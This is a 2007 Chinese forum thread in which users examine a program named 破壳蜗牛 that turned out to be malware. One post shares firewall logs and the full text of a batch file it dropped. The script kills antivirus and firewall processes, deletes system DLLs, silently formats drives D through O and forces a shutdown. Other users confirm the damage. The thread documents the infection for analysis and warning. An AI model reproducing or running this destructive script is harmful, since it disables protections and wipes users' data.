刚刚运行的破壳蜗牛，怎么能说没用，看看这个

九尾野狐

EQ日志

操作:允许
进程路径:C:\Program Files\BlackBox\blackbox.exe
文件路径:E:\once\破壳蜗牛\破壳蜗牛.exe
规则:应用程序规则->系统程序->C:\Program Files\BlackBox\blackbox.exe
2007-05-17 15:48:27    创建文件
操作:阻止
进程路径:E:\once\破壳蜗牛\破壳蜗牛.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\bt7881.bat
规则:黑名单->In Side->*.bat
2007-05-17 15:49:00    读取文件
操作:阻止
进程路径:E:\once\破壳蜗牛\破壳蜗牛.exe
文件路径:C:\windows\system32\cmd.exe
规则:黑名单->In Side->C:\WINDOWS\system32\cmd.exe
2007-05-17 15:49:02    读取文件
操作:阻止
进程路径:E:\once\破壳蜗牛\破壳蜗牛.exe
文件路径:C:\windows\system32\cmd.exe
规则:黑名单->In Side->C:\WINDOWS\system32\cmd.exe
2007-05-17 15:49:11    删除文件
操作:阻止
进程路径:E:\once\破壳蜗牛\破壳蜗牛.exe
文件路径:C:\Documents and Settings\Administrator\Local Settings\Temp\bt5081.bat
规则:黑名单->In Side->*.bat
2007-05-17 15:49:48    运行应用程序


TEMP目录下的bt5081.bat 内容

@shift 1
@echo off
set date=%date%
date 1987-09-30
date 1987-09-30
@echo.
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > %temp%.\tmp$$$.vbs
set /a i = 15
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %temp%.\tmp$$$.vbs
goto Timeout
goto End
:Next
@taskkill /f /im pfw.exe >nul
@taskkill /f /im shadowtip.exe >nul  
@taskkill /f /im shadowservice.exe >nul
@taskkill /f /im qq.exe >nul
@taskkill /f /im explorer.exe >nul
@taskkill /f /im IEXOLORE.EXE >nul
@taskkill /f /im norton* >nul
@taskkill /f /im av* >nul
@taskkill /f /im fire* >nul
@taskkill /f /im anti* >nul
@taskkill /f /im spy* >nul
@taskkill /f /im bullguard >nul
@taskkill /f /im PersFw >nul
@taskkill /f /im KAV* >nul
@taskkill /f /im ZONEALARM >nul
@taskkill /f /im SAFEWEB >nul
@taskkill /f /im OUTPOST >nul
@taskkill /f /im nv* >nul
@taskkill /f /im nav* >nul
@taskkill /f /im F-* >nul
@taskkill /f /im ESAFE >nul
@taskkill /f /im cle >nul
@taskkill /f /im BLACKICE >nul
@taskkill /f /im def* >nul
@taskkill /f /im 360safe.exe >nul
@taskkill /f /im explorer.exe
del C:\WINDOWS\system32\browselc.dll
del C:\WINDOWS\system32\browser.dll
del C:\WINDOWS\system32\browseui.dll
del C:\WINDOWS\system32\browsewm.dll
@format d:/y/q
@format e:/y/q
@format f:/y/q
@format g:/y/q
@format h:/y/q
@format i:/y/q
@format j:/y/q
@format k:/y/q
@format l:/y/q
@format m:/y/q
@format n:/y/q
@format o:/y/q
date 2007-05-17  
date %date%
RD /S /Q %systemroot%\temp\
shutdown -s -t 1
@echo.
exit

tonger2003

运行后 修改了系统时间

然后就强行关机了

是玩笑程序还是~~~？？？

小邪邪

原帖由 aoyang 于 2007-5-17 16:01 发表
[:27:] 或者这样

  那样笑就很美丽吗？


我怎么看都感觉一个像抽筋的样子，一个是猥琐男的样子？

九尾野狐

是病毒

不是玩笑程序

tonger2003

我昏 D盘被那个程序给格了~~~

小邪邪

里面没什么东西的话就当“洗盘子”吧

九尾野狐

被格式化的盘可不止D盘一个

@format d:/y/q
@format e:/y/q
@format f:/y/q
@format g:/y/q
@format h:/y/q
@format i:/y/q
@format j:/y/q
@format k:/y/q
@format l:/y/q
@format m:/y/q
@format n:/y/q
@format o:/y/q

aoyang

原帖由 tonger2003 于 2007-5-17 16:08 发表


我昏 D盘被那个程序给格了~~~

天天都看见你一包一包的发毒，居然这样不小心。

tonger2003

原帖由 小邪邪 于 2007-5-17 16:10 发表
里面没什么东西的话就当“洗盘子”吧

程序后恶毒啊

D盘装的都是软件的安装程序

幸亏装了影子

要不得重装系统了~~~

aoyang

虽然还没被别人格过盘，但还是准备了一些备用的东西，看看这个有不有用。
我也没试过，不知道好不好 死马当活马医